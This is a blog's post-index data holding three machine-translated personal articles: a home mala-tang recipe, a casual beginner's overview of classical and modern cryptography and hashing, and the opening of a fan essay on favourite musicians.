it\u0026rsquo;s categorized as a party menu along with guacamole. Cucumber Pickles A god-tier recipe that makes cucumbers — which spoil relatively quickly — last for a week. I love it so much I\u0026rsquo;ve made it dozens of times. Mushroom Sauté A recipe where mushrooms are the main ingredient. This also keeps for a week, making it perfect for always-ready side dishes. Minestrone An excellent recipe where just dicing all the ingredients and simmering them in water makes it delicious. Full of tomato umami. There are many other recipes besides the above. Actually, this book is the second in a series, and the first installment is apparently also selling quite well, so I\u0026rsquo;d like to buy it someday.\nBonus 2: Favorite Original Recipe Mala-tang became popular this year, didn\u0026rsquo;t it? Did everyone eat it? Mala-tang is a Chinese dish, written as 麻辣燙 in its home region. It\u0026rsquo;s a mala-flavored — meaning spicy and numbing — soup with various ingredients simmered in it, like a single-serving hot pot. Many shops appeared with the boom, but I like Shippo Mala-tang. It\u0026rsquo;s easy to eat because they\u0026rsquo;ve adjusted the flavor to suit Japanese preferences.\nNow, this mala-tang — many shops use a somewhat unusual pricing structure. There\u0026rsquo;s a base soup price, and the more ingredients you add, the more the price increases. For details, please refer to Shippo Mala-tang\u0026rsquo;s page.\nHere, everyone must think at least once. How wonderful it would be to add as many of your favorite ingredients as you want without worrying about the price. I thought so too. And I searched. For a way to easily make mala-tang at home. Here I present the Unigiri original 13 mala-tang recipe.\nIngredients (1 serving) Sesame oil 1 tablespoon Garlic 1 clove (minced) Ginger 1 slice (minced) Doubanjiang 1/2 teaspoon Weiper 14 1 teaspoon Cooking sake or mirin 50ml Long green onion 1/2 stalk (cut into small rounds) Your favorite ingredients As much as you like. Recommended ingredients listed below Glass noodles 10~20g 15 Vinegar 1 tablespoon Your favorite condiments To taste (white sesame seeds, nori, etc.) A Black pepper 1 teaspoon Ichimi chili pepper 16 1 teaspoon Sichuan peppercorn 17 1 teaspoon Five-spice powder 18 1/3 teaspoon Soy sauce 1 teaspoon Chili oil 19 3/2 teaspoon Cooking Steps Put sesame oil in a pot and heat on low Add garlic, ginger, and doubanjiang to the pot and mix Continue heating step 2 on low heat while cutting the long green onion and ingredients. At this time, stir occasionally so step 2 doesn\u0026rsquo;t burn to the bottom of the pot If using meat as an ingredient, add it to the pot here, turn to medium heat, and stir-fry until the surface color changes Dissolve Weiper in 500ml of hot water Add step 5, cooking sake or mirin, and long green onion to the pot and turn to high heat When it comes to a boil, reduce to low heat and add A Add the ingredients to the pot, turn to medium heat, and simmer for about 5~8 minutes 20 Add glass noodles and simmer further. Simmering time follows the glass noodle package instructions Add vinegar and simmer again until it comes to a boil Top with condiments if you have them and it\u0026rsquo;s done Recommended Ingredients Basically, put in whatever ingredients you like, cut however you like! That\u0026rsquo;s what homemade mala-tang is for. Here I introduce my recommended ingredients that I often add.\nPork belly Probably the protein that goes best with mala-tang. If you\u0026rsquo;re concerned about calories, other cuts of pork work too. Mushrooms For guanylic acid replenishment. Adding them seems to balance the umami. Probably. Onion The sweetness of the onion seems to nicely mellow the spiciness of the soup. But I often think I\u0026rsquo;ve got too much onion with both long green onion and regular onion. Cabbage I often add it since there tend to be leftovers after using it in other dishes. Excellent as a dietary fiber contributor. Potato I tend to add it when I want to increase volume. It dissolves and clouds the soup, but it\u0026rsquo;s home cooking so I don\u0026rsquo;t worry about it. Eggplant It absorbs the soup and becomes soft and squishy, which is delicious. Chinese chives Adding this instantly improves the overall color. It cooks in a flash, so add it at the same timing as the vinegar. Wood ear mushroom The unique crunchy texture makes for a nice accent. If using dried wood ear mushroom, reconstitute it with water or hot water first, then add it at the same timing as the vinegar. Tomato Adding it suddenly increases the hot-and-sour soup vibe, but it\u0026rsquo;s recommended as a variation when you\u0026rsquo;re tired of the usual flavor. Raw egg It makes the flavor mellow, so I highly recommend it. I like to beat it, keep it on a separate plate, and add it partway through eating as a flavor change. Closing This is cucumber pickles and peperoncino w/ boiled komatsuna spinach and dried parsley w/o Italian parsley that I hastily made after receiving a self-inflicted food terrorism while writing this. The garlic was a bit burnt, so it had a toasty flavor. And I forgot to remove the garlic cores.\nTomorrow is Kaino-san\u0026rsquo;s Tasting! Heroes\u0026rsquo; Feast. Coincidentally, it\u0026rsquo;s connected by being a food article! It\u0026rsquo;s full of very delicious-looking dishes.\nSince I referenced several recipes online, I can\u0026rsquo;t proudly call it original\u0026hellip; If you see a similar recipe, consider it the source I referenced.\nOther than this article, there\u0026rsquo;s an article talking about my favorite songs and an article talking about cryptography. The song article has pretty wild energy, but personally I like it.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nHuh? I passed as a current student, so why was I 19? (I repeated 1st year due to not attending school)\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nThe reasons were lack of money, no decent restaurants nearby, and an illness I had a few years prior.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nAfter that, I accumulated enormous stress, became a heavy drinker, and could barely cook anymore\u0026hellip; Everyone, let\u0026rsquo;s not cook while intoxicated! You\u0026rsquo;ll be shocked to find a charred black object on the frying pan when you wake up!\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRecipes that only apply to one of the criteria depend on the specific recipe. For example, hot pot applies to criterion 1, but since you basically just cut ingredients and put them in a pot to simmer, I don\u0026rsquo;t find it difficult.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nWith 150g white rice and no condiments, it\u0026rsquo;s about 400kcal. Perhaps because digestion takes time, the perceived fillingness feels better than the numbers suggest.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nIt contains about 9g of salt. Note that the daily salt intake target is less than 7.5g for adult men and less than 6.5g for adult women. (From Ministry of Health, Labour and Welfare \u0026ldquo;Dietary Reference Intakes for Japanese (2025 Edition)\u0026rdquo;)\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nProtein includes items that require hygiene attention during processing, which is truly tedious. Eggs, natto, tofu, cheese — you alone are my allies.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nTo make the mala-tang described later, Sichuan peppercorn is always stocked at my house.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nEspecially recommended for people who don\u0026rsquo;t mind the sweetness of carrots. Some people find that distinctive sweetness unpleasant.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nI just measured with the blood pressure monitor on hand and got 122/89. Compared to the average for my sex and age, it\u0026rsquo;s on the high side.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nIt has a viscosity where portioning with plastic wrap might barely work, but I haven\u0026rsquo;t been able to actually try it because it would be a problem if it flowed out in the freezer.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n\u0026#160;\u0026#x21a9;\u0026#xfe0e; Somi Shantan also works.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nAdjust based on the amount of ingredients. Also, if you\u0026rsquo;re adding rice to the soup at the end, less glass noodles is recommended.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nKorean chili pepper also works. It reduces the spiciness compared to ichimi chili pepper.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nEither powdered, or whole form ground with a mill, both work. I\u0026rsquo;ve tried both, and grinding whole ones gives a more numbing flavor.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nIt mainly has the distinctive aroma of star anise, so people who dislike it can omit it.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nI\u0026rsquo;ll leave a recommended chili oil for super-spicy lovers here. Super Spicy Sichuan Chili Oil 450g | Product Information | Youki Foods\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nAdjust the simmering time depending on the types of ingredients you add. If you have root vegetables or other ingredients that take longer to cook, simmering longer is recommended.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://unigiri.gitlab.io/en/posts/my-favorite-cooking-recipes-2025/","summary":"\u003chr\u003e\n\u003cp\u003eThis article was machine-translated from the Japanese version.\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003eHello everyone! I\u0026rsquo;m Unigiri.\nThis article is the 12th day entry of the \u003ca href=\"https://adventar.org/calendars/11414\"\u003e卓ゲ箪笥 Advent Calendar 2025\u003c/a\u003e.\nDay 11 was dam14F\u0026rsquo;s \u003ca href=\"https://talto.cc/projects/t8veKERkgCW3XUBrUPSeI\"\u003eAbout the Scenarios of Nuno\u0026rsquo;s Anonymous Box\u003c/a\u003e.\nI participated in this scenario too, and it was really fun!\u003c/p\u003e\n\u003cp\u003eThis \u0026ldquo;talking\u0026rdquo; article series I write every year has now reached its third installment. \u003csup id=\"fnref:1\"\u003e\u003ca href=\"#fn:1\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e1\u003c/a\u003e\u003c/sup\u003e\nI\u0026rsquo;m grateful to have a life where I have at least a few things I can talk about to some extent.\u003c/p\u003e","title":"An article about my favourite cooking recipes"},{"content":" This article was machine-translated from the Japanese version.\nIntroduction Hello. I go by Unigiri.\nThis is an article for Day 7 of Table Game Tansu Advent Calendar 2024, but the content has nothing to do with board games or TRPGs.\nLike last year, this is an article where I talk about things I love.\nThis year, I\u0026rsquo;ll talk about cryptography to my heart\u0026rsquo;s content.\nGiven the motivation of just filling a single open slot in the schedule, I\u0026rsquo;ll barely revise, write in colloquial style, and won\u0026rsquo;t fact-check.\nI\u0026rsquo;d be happy if you read it with the feeling of listening to someone from the same lab spouting off casually over drinks.\nPrerequisites What is cryptography Let\u0026rsquo;s start by defining terms. Definitions are important.\nCryptography is a method of making text nicely hard to read.\nWhen you have text that you don\u0026rsquo;t want unspecified large numbers of people to read, there are broadly two types of countermeasures.\nSteganography and cryptography.\nSteganography is a method of hiding the existence of the text.\nIt\u0026rsquo;s like writing on paper with mandarin orange juice and letting it dry — it looks like blank paper at a glance, but when you hold it over fire, the text appears.\nCryptography is a method of making the text unreadable as-is.\nThe existence of the made-unreadable text itself becomes known to unspecified large numbers of people, but to read it, you need to know the method for converting it back to a readable form.\nThe original text is called plaintext, the made-unreadable text is called ciphertext, the process of making it unreadable is called encryption, and the process of restoring it to the original text is called decryption.\nAlso, a third party who doesn\u0026rsquo;t know the decryption method trying to convert ciphertext back to plaintext is called cryptanalysis (decryption), and such a third party will be referred to as an attacker in this article.\nWhat is commonly called \u0026ldquo;暗号\u0026rdquo; (angō) in Japanese corresponds to cryptography.\nAs an aside, something that cannot be restored from ciphertext to plaintext is not cryptography.\nIn other words, hash values are not ciphertext. What a hash is will be explained later.\nTypes of cryptography Cryptography also broadly falls into two types.\nCodes and ciphers.\nA code is an alternative expression of some text.\nIt\u0026rsquo;s like rephrasing \u0026ldquo;I have succeeded in a surprise attack\u0026rdquo; as \u0026ldquo;Tora tora tora,\u0026rdquo; or rephrasing going to the restroom in the food service industry as \u0026ldquo;Number 4.\u0026rdquo;\nA cipher is something made unreadable by a consistent method regardless of the plaintext content.\nA code cannot express anything beyond pre-agreed information, but a cipher can express various kinds of information.\nA slightly difficult example: if you create a rule assigning \u0026ldquo;あ\u0026rdquo; to 1, \u0026ldquo;い\u0026rdquo; to 2, \u0026ldquo;う\u0026rdquo; to 3 and so on, sequentially assigning numbers, you can express various texts like \u0026ldquo;あいうえお\u0026rdquo; or \u0026ldquo;こんにちは\u0026rdquo; using numbers — that kind of thing.\nThis article will primarily deal with ciphers.\nIntroduction to Several Ciphers Caesar cipher Now that the necessary definitions are done, let\u0026rsquo;s finally talk about actual cipher methods.\nStarting with a simple one.\nThe Caesar cipher is a method that is simple, has existed since ancient times, and is very famous.\nIt\u0026rsquo;s also called the Caesar cipher or shift cipher, and in English it\u0026rsquo;s sometimes called ROT.\nThe method is simple: shift each character by N positions.\nExplaining with the case of shifting 1 character backward: shift a one position backward to b, shift b similarly to c, shift c similarly\u0026hellip; and so on.\nIf the plaintext is abcde, the ciphertext becomes bcdef, and Hello, I'm Unigiri. Glad to have you here. becomes Ifmmp, J'n Vojhjsj. Hmbe up ibwf zpv ifsf. With longer text it looks quite ciphertext-like.\nThe weaknesses of this method are vulnerability to frequency analysis and brute-force search.\nIn the Caesar cipher, a given character is always converted to a specific character. In the case of shifting one character backward, a always becomes b.\nIn other words, for example, if a appears 20 times in the plaintext, b will necessarily appear 20 times in the ciphertext.\nEach language has characters that tend to be used frequently, so you can make guesses like \u0026ldquo;this character appearing many times probably was originally this character\u0026hellip;\u0026rdquo; and work through the cryptanalysis.\nAlso, if you know it\u0026rsquo;s encrypted with a Caesar cipher, you can always crack it by checking all patterns.\nIn English, there are 26 letters in the alphabet, so trying shifting by 1, then by 2, then by 3\u0026hellip; trying all 26 patterns means that among the 26 decryption results, the plaintext will definitely be there.1\nAnd generally, plaintext is meaningful text, so you can tell at a glance which one is the plaintext.\nOverall, it falls into the category of being easy to use as a cipher method but also easy to crack.\nVigenère cipher The weakness of the Caesar cipher is that the number of positions to shift is always constant.\nSo wouldn\u0026rsquo;t it be harder to crack if we varied the shift amounts, like shifting the 1st character back by 1, the 2nd by 5, the 3rd by 9\u0026hellip;? That\u0026rsquo;s the basic idea behind the Vigenère cipher.\nHowever, if you shift completely randomly, you won\u0026rsquo;t be able to decrypt it, so the shifting pattern is predetermined.\nFor example, deciding that the 1st character shifts by 5, the 2nd by 10, the 3rd by 15, and from the 4th character onward, the shift amounts cycle as 5, 10, 15, 5, 10, 15, \u0026hellip;\nThe rule decided for the first 3 characters is called the key.\nI won\u0026rsquo;t explain the strengths and weaknesses of this method in detail here, but the important point is that a third party attempting cryptanalysis doesn\u0026rsquo;t know the key length.\nFor details, please look up Vigenère cipher or Vigenère square.\nBy the way, the person who devised the cryptanalysis method for the Vigenère cipher was Charles Babbage. Amazing.\nEnigma The Caesar cipher and Vigenère cipher can be encrypted and decrypted easily with just paper and pen.\nBut as time passed, humans started using machines, and something called computers appeared.\nBy using these, it became possible to handle complex encryption procedures that would take too long with paper and pen.\nThe prime example is Enigma.\nEnigma is not the name of a cipher, but the name of a machine that performs encryption and decryption.\nInside the machine are gears and removable plugs, and moving these performs complex encryption.\nThe basic idea isn\u0026rsquo;t that different from the Caesar cipher — it just converts one character to another — but the conversion rules are so complex that the difficulty of cryptanalysis is incomparable to the Caesar or Vigenère ciphers.\nEnigma was used in Nazi Germany during World War II.\nIt was used for communications within the German military, so the decryption method was discovered by Britain, which was on the Allied side.\nThere are many fascinating episodes related to Enigma, but they diverge from the article\u0026rsquo;s theme so I\u0026rsquo;ll omit them.\nIf you\u0026rsquo;re interested, please watch the film \u0026ldquo;The Imitation Game,\u0026rdquo; which depicts the British side attempting to crack it.\nThere are many parts that differ from historical facts, but you can get the general atmosphere and enjoy Benedict Cumberbatch\u0026rsquo;s acting, so I recommend it.\nHow computers represent natural language Here the discussion veers slightly off track.\nThat\u0026rsquo;s because I want to talk about how computers handle text in languages like English and Japanese.\nFirst, computers fundamentally live in a world of only 0s and 1s, but they can also handle numbers of 2 and above, like what we call 2 or 3.\nExpressing numbers of 2 and above using only 0 and 1 is called binary.\nExplaining binary would turn this into a Fundamental Information Technology Engineer exam prep article, so I\u0026rsquo;ll skip it. Just understanding that computers can comprehend numbers of 2 and above is sufficient.\nThen, to express English and Japanese on computers, numbers are assigned to each character of each language.\nIn other words, doing exactly what I gave as an example earlier in the article:\nCreating a rule that assigns \u0026ldquo;あ\u0026rdquo; to 1, \u0026ldquo;い\u0026rdquo; to 2, \u0026ldquo;う\u0026rdquo; to 3 sequentially, enabling various texts like \u0026ldquo;あいうえお\u0026rdquo; or \u0026ldquo;こんにちは\u0026rdquo; to be expressed using numbers — that kind of thing.\nThere are many types of rules for which numbers are assigned to which characters, and these are collectively called character codes.\nMojibake (garbled text) that sometimes occurs when using computers happens because the devices exchanging text are using different character codes.\nBy the way, the concept underlying the idea of assigning numbers to non-numeric things is called Gödel numbering, but that would be a massive tangent so I\u0026rsquo;ll skip it here.\nBy converting human language into numbers that computers can handle in this way, there is one major advantage.\nThat is, it can be dropped into the world of mathematics.\nWhat\u0026rsquo;s good about dropping it into the world of mathematics is that it enables doing nicely complex things. What kind of explanation is this\u0026hellip;\nI\u0026rsquo;m not a mathematician so I can only give fuzzy explanations, but by going through the procedure of computation, it becomes possible to apply processing far more complex than Enigma.\nSymmetric-key cryptography and public-key cryptography Returning to the topic of cryptography, modern cryptography since the spread of computers has incredibly tedious explanations, so I\u0026rsquo;ll skip it roughly.\nHere I\u0026rsquo;ll only mention that there are two categories called symmetric-key cryptography and public-key cryptography.\nSymmetric-key cryptography In the Vigenère cipher section, I mentioned that the rule established for converting characters is called a key.\nThe method where the encrypting person and the decrypting person use the same key is called symmetric-key cryptography.\nThe Vigenère cipher and Enigma are symmetric-key ciphers.\nIt\u0026rsquo;s necessary to share the key between the encrypting person and the decrypting person in advance through some method.\nAlso, this key must be kept secret. Because if the key is exposed, anyone can decrypt it.\nPublic-key cryptography In contrast to symmetric-key cryptography, the method where the encrypting person and the decrypting person use different keys is called public-key cryptography.\nYou might momentarily think \u0026ldquo;Is that even possible!?\u0026rdquo; but it becomes possible when you use math power.\nA representative example utilizes the difficulty of prime factorization, but naturally the explanation becomes difficult so I\u0026rsquo;ll skip it here.\nThe advantage of public-key cryptography is that it\u0026rsquo;s fine if the key used for encryption is exposed to unspecified large numbers of people.\nLet\u0026rsquo;s call the key for encryption A and the key for decryption B.\nFirst, the person who wants ciphertext creates keys A and B, publishes only key A in a place anyone can see, and says \u0026ldquo;Please use this key when sending me ciphertext!\u0026rdquo;\nOther people who see this encrypt text using key A and send the ciphertext.\nThe recipient decrypts the ciphertext using key B, which they keep secret. This completes the encrypted communication.\nAn attacker can know key A and the ciphertext, but cannot crack it because they don\u0026rsquo;t know key B for decryption.\nThe happy point is being able to skip the step required in symmetric-key cryptography of secretly sharing the key in advance through some method.\nBy the way, digital signatures can also be created using the idea of public-key cryptography, but that slightly diverges from the cryptography topic so I\u0026rsquo;ll skip it here.\nThings That Are Not Ciphers But Look Like Ciphers I\u0026rsquo;ve roughly said what I wanted to say about cryptography, so here I\u0026rsquo;ll talk about things that at first glance look like ciphers but actually aren\u0026rsquo;t.\nHash As an example of the statement that something that cannot be restored from ciphertext to plaintext cannot be called cryptography, I\u0026rsquo;ll discuss hashes.\nThere is something called a hash function that generates a somewhat short value from certain data, and the short value generated by a hash function is called a hash value.\nFor example, if you give a text file containing こんにちは to a hash function called MD5, you get the hash value f5271ace09a56600e1cef7663d932807.\nAlso, it has the property that the same hash value can only be obtained when the original data is exactly the same.2\nThe hash value f5271ace09a56600e1cef7663d932807 can only be obtained when the original data contains こんにちは.\nVisually, and considering the property that different texts always produce different hash values, hash values seem somewhat cipher-like.\nYou probably don\u0026rsquo;t handle hash functions much in everyday life, but the human body has something similar. Fingerprints.\nFingerprints differ from person to person, and no two people have the same fingerprint pattern.3\nTherefore, if you already know what shape of fingerprint a certain person has, you can tell that person touched something just by examining the fingerprint on a desk.\nHowever, without such information, that fingerprint becomes something like a cipher whose owner cannot be inferred. This is slightly unconvincing, but please let it slide.\nReturning to the hash value discussion.\nHash values look like ciphertext, but they are not ciphertext.\nThat\u0026rsquo;s because hash functions have the property that they can generate a hash value from original data, but cannot restore the original data from the hash value.4\nBeing able to decrypt from ciphertext to plaintext is a condition for calling something a cipher, and hash functions and hash values do not satisfy this condition.\nThey are not ciphers, but this thing called a hash is quite convenient and is frequently used in the computing world.\nUndeciphered languages Generally, languages spoken by humans are not ciphers.\nBut if the people who can understand the meaning of those words disappear, it becomes something like a cipher.\nOne such example is Linear B.\nLinear B was a script used in mainland Greece and Crete in antiquity, but it remained an undeciphered script for a long time.\nIt was ultimately deciphered in 1952 by an amateur researcher named Michael Ventris, and the decipherment process has aspects in common with cipher cryptanalysis.\nI truly love Linear B, but this article\u0026rsquo;s theme is cryptography, not ancient languages, so I\u0026rsquo;ll omit details.\nIf you\u0026rsquo;re interested, please read The Man Who Deciphered Linear B: The Story of Michael Ventris. New copies may no longer be in bookstores, but large libraries might have it.\nConclusion I\u0026rsquo;m satisfied having talked a lot!\nCryptography is a very enjoyable field. It\u0026rsquo;s interesting as theory, and it\u0026rsquo;s also practical.\nThis time I skipped most of the theoretical aspects and only wrote what I wanted to write, but I\u0026rsquo;d be happy if even a little of the fun came through.\nFinally, I\u0026rsquo;d like to introduce reference materials.\nIf anyone wants to know a bit more about cryptography, I recommend these two books.\nThe Code Book by Simon Singh It\u0026rsquo;s written in quite plain language and is very easy to read.\nSimon Singh is truly skilled at treating seemingly arcane themes in an understandable way.\nIt\u0026rsquo;s essentially the proper version of my article.\nBy the way, in the anime The Melancholy of Haruhi Suzumiya, Nagato is reading this book.\nThis \u0026ldquo;Nagato is reading it\u0026rdquo; reference is a classic, but it feels like it\u0026rsquo;s about to stop landing with people\u0026hellip;\nIntroduction to Cryptography, 3rd Edition: Alice in the Land of Secrets by Hiroshi Yuki This is a technical book written for people with some prerequisite knowledge, but it also covers historical ciphers like the Caesar cipher and is very carefully written.\nIf you want to know about cryptographic technologies handled by computers, I believe there\u0026rsquo;s nothing more understandable than this book.\nSome of you might think \u0026ldquo;Isn\u0026rsquo;t it 25 patterns?\u0026rdquo; but here I\u0026rsquo;m counting 26 to include the meaningless encryption of shifting by 0 characters.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDiscussion of hash collisions is omitted here\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDiscussion of fingerprint collisions is omitted here\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMethods for deriving plaintext from hash values such as rainbow tables are omitted here\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://unigiri.gitlab.io/en/posts/i-love-cryptography/","summary":"\u003chr\u003e\n\u003cp\u003eThis article was machine-translated from the Japanese version.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"introduction\"\u003eIntroduction\u003c/h2\u003e\n\u003cp\u003eHello. I go by Unigiri.\u003c/p\u003e\n\u003cp\u003eThis is an article for Day 7 of \u003ca href=\"https://adventar.org/calendars/9950\"\u003eTable Game Tansu Advent Calendar 2024\u003c/a\u003e, but the content has nothing to do with board games or TRPGs.\u003cbr\u003e\nLike \u003ca href=\"/notes/my-favorite-songs/\"\u003elast year\u003c/a\u003e, this is an article where I talk about things I love.\u003cbr\u003e\nThis year, I\u0026rsquo;ll talk about cryptography to my heart\u0026rsquo;s content.\u003c/p\u003e\n\u003cp\u003eGiven the motivation of just filling a single open slot in the schedule, I\u0026rsquo;ll barely revise, write in colloquial style, and won\u0026rsquo;t fact-check.\u003cbr\u003e\nI\u0026rsquo;d be happy if you read it with the feeling of listening to someone from the same lab spouting off casually over drinks.\u003c/p\u003e","title":"An article about cryptography"},{"content":" This article was machine-translated from the Japanese version.\nThis article is for Day 5 of Table Game Tansu Advent Calendar 2023.\nDay 4 was Mogukun☆\u0026rsquo;s Reflections on the M.League (Mahjong).\nIntroduction The advent calendar season has come again this year!\nI go by Unigiri.\nOn September 26 of this year, I posted the following image on Tansu.\nhttps://tablegame.mstdn.cloud/@unigiri/111127497256650263\nこれは寝られないのでなんとなく作った好きな音楽アルバムのコラージュ42枚です\n(Translated) I couldn\u0026rsquo;t sleep, so I just put together these 42 collages of my favourite music albums.\nalbum collage Who would be satisfied with just a collage image when talking about things they love?\nAnd so, this is an article where I talk about my favorite songs until I\u0026rsquo;m satisfied.\nI\u0026rsquo;ll discuss the artists featured in the collage image, not limited to any specific album.\nNotes This article is long I believe that when writing about things you love, momentum is important, so I deliberately won\u0026rsquo;t revise.\nTherefore, this article is very likely to be extremely long.\nAs of the time I\u0026rsquo;m writing this, the overall length is still undecided, but for reference, last year\u0026rsquo;s article Tips for Winning More Often at 6 Nimmt! (6-Player Version) was properly revised with unnecessary sentences removed.\nPostscript: It ended up being about 28,000 characters.\nThis article is hard to read Since I\u0026rsquo;m writing without any regard for punctuation or line breaks, this article is hard to read.\nPlease feel free to skip sections as appropriate.\nThis is not an article recommending or explaining songs, but simply an article where I talk about what I love as I please In other words, I won\u0026rsquo;t necessarily provide basic explanations for people who don\u0026rsquo;t know the artist or song.\nFor basic information such as the artist\u0026rsquo;s genre and history, please refer to each artist\u0026rsquo;s official page.\nAlso, I\u0026rsquo;m trying to keep self-talk (hereafter, \u0026ldquo;opportunistic self-talk\u0026rdquo; or 隙自語) to a minimum, but given the nature of talking as I please, some is mixed in.\nIf it becomes excessive, please skip over it.\nThis article has no intention of making any claims about specific religions or ideologies Some songs in this article refer to specific religions or ideologies, but I have no intention of making any claims through those songs.\nWhy this note is necessary: because I reference Monty Python in this article.\nAbout links in this article When a song mentioned in the article is available as an official YouTube video, I\u0026rsquo;ll link to that video.\nPlease give them a listen if you\u0026rsquo;d like.\nTL;DR (For those who just want to listen to the songs) I\u0026rsquo;ve created a YouTube playlist compiling the official videos mentioned in the article.\nhttps://www.youtube.com/playlist?list=PLzmsa-PnB9sEZhjHIA0zCYcp76vEg7KLk\nI\u0026rsquo;ve also created a Spotify playlist compiling the streaming-available albums from the 42 collage images.\nhttps://open.spotify.com/playlist/3NUVVOo17GAGjcdY8mY4sw?si=0717eaf5b2674c6c\nThe main content begins here From here on, I\u0026rsquo;ll say nothing more than \u0026ldquo;I LOVE IT SO MUCH!!!!!\u0026rdquo; \u0026ldquo;IT\u0026rsquo;S GREAT!!!!!!!!!\u0026rdquo; \u0026ldquo;Thank you for being born!!!!!!!!\u0026rdquo;\nMaximum the Hormone Right from the start, I can\u0026rsquo;t post song links!!!! Because Hormone basically doesn\u0026rsquo;t do YouTube or song streaming\nHormone is so good, so good that I\u0026rsquo;ve lost my vocabulary\nThe lyrics are incomprehensible, but you don\u0026rsquo;t need to understand the lyrics so it\u0026rsquo;s not a problem\nThe Chainsaw Man ED song was sooooo good, it really matched that work\u0026rsquo;s worldview\nI really love Nao-san on drums, her voice is truly cute\nChina in the Tsume Tsume Tsume MV is so cute, it suits her so well\nThe iPod Classic with Hormone\u0026rsquo;s songs on it was lost long ago, so I have no choice but to talk while recalling various things\nWhat did I listen to a lot back then, Kawazoeen or ROLLING1000tOON or something\nLooking at the discography now, I was listening to the Rokkinpo Goroshi album particularly often\nThis album has nothing but masterpieces. Well, not just this album — Hormone has nothing but masterpieces\nFrom here on is opportunistic self-talk, but the reason I put Hormone first in the collage is because it was the catalyst for me starting to actively listen to music\nBefore that, I was listening to theme songs of anime I was watching or things that seemed popular, but\nat my high school cultural festival I heard a Hormone copy band (quite well done) and thought \u0026ldquo;This kind of music exists!!!! Amazing!!!!\u0026rdquo; and went right over to tell that copy band \u0026ldquo;I\u0026rsquo;ve become a fan, I\u0026rsquo;ll go to your next live too,\u0026rdquo; but that turned out to be their farewell live, so I was shocked while collecting the original Hormone albums\nI think that\u0026rsquo;s when I started actively digging for music beyond anime theme songs. Probably\nIshino Takkyu Thank you for being born!!!!!!!!!!!!!!!!!!!!!!! Shizuoka\u0026rsquo;s national treasure!!!!!!!!!!! Techno\u0026rsquo;s chosen child!!!!!!!!!!!!!!!!!!!!!!!!!!\nIshino Takkyu is amazing, so amazing that right now at the part where I wrote \u0026ldquo;amazing,\u0026rdquo; the words that should follow won\u0026rsquo;t come to mind and my hands stopped\nIs there any word needed here other than \u0026ldquo;amazing\u0026rdquo;? Isn\u0026rsquo;t that enough?\nWouldn\u0026rsquo;t it be tasteless for me to make any comment on the way of life that is Ishino Takkyu?\nAs for my favorite songs under Ishino Takkyu\u0026rsquo;s solo name, suck me disco (takkyu i. rmx) from WIRE TRAX 1999-2012, or The Rising Suns (Discotheque) from TITLE#2+#3, or JackTaro from ACID TEKNO DISKO BEATz, or Amazones from LUNATIQUE, I love them all so much\nThe songs Takkyu makes are quite Takkyu-like, and what I mean is that I often think \u0026ldquo;how Takkyu-like\u0026rdquo; from the sounds used and their timing\nEven SIREN\u0026rsquo;s songs turn into the usual Takkyu partway through, and I feel a sense of reassurance\nWhy I think so, I can\u0026rsquo;t verbalize because I have no musical knowledge\nUltra Relax, the latter OP of Kodomo no Omocha, I knew it from way back as an anime OP song, but when I learned it was produced by Ishino Takkyu, I slapped my knee — it\u0026rsquo;s completely Takkyu\nIf a Takkyu-sung version came out, I\u0026rsquo;d accept it without any sense of incongruity, the lyrics are completely that\nAs for MVs, while not many are publicly available, I really love the MV for Rapt In Fantasy (Radio Edit)\nHome appliances are cosplaying as famous paintings, and watching it is really fun. It\u0026rsquo;s addictive\nI\u0026rsquo;m weak on famous paintings, so I only recognize about 3 of the originals\nOne thing I regret: I started liking techno relatively recently (by my standards), so by the time I noticed, WIRE was already over\u0026hellip;\u0026hellip;\nIt was apparently a large-scale techno event organized by Ishino Takkyu, but I\u0026rsquo;ll omit the details here. Because I couldn\u0026rsquo;t go, so I don\u0026rsquo;t know much and can\u0026rsquo;t write about it\nAlso, the Kansai Denki Security Association CM that Takkyu was involved in, which is no longer airing, was really good. A concentrated mass of sense\nYonezu Kenshi (Hachi) Hachiiiiiiiiiiiiiiiiiiiiiiiiiiiii!!!!!!! Thank you Hachi!!! For being born!!!!!!!!!!!!!!\nThis is a veteran-fan power move, but I\u0026rsquo;ve liked Kunde Kite Rasetsu to Mukuro since back then\nThe hand-drawn MVs on Niconico by the artist himself are so good\nGo Go Ghost Ship and such, I love them so much\nI have nothing but gratitude that he does self-covers of Vocaloid songs under the Yonezu Kenshi name. When I noticed that Donut Hole was at the end of YANKEE, my mind went completely blank with shock and joy\n\u0026ldquo;Stop with the veteran-fan power move and talk about current Yonezu Kenshi\u0026rdquo; — okay\nBut really, not many words are needed to talk about current Yonezu Kenshi, \u0026ldquo;all masterpieces\u0026rdquo; covers it\nWhat\u0026rsquo;s especially good\u0026hellip;\u0026hellip;? \u0026hellip;\u0026hellip;? They\u0026rsquo;re all good, but\u0026hellip;\u0026hellip;\nNeon Sign and Cinderella Gray from Bremen, I especially love those\nLOSER too!!!!!!!!!\nMy impression is that since becoming Yonezu Kenshi, the eccentric songs have decreased, but Shinigami is unusually eccentric and I especially love it\nI love both the non-eccentric and the eccentric songs, and all of it together is one eccentricity called Yonezu Kenshi, but there are some songs that probably wouldn\u0026rsquo;t have existed even as 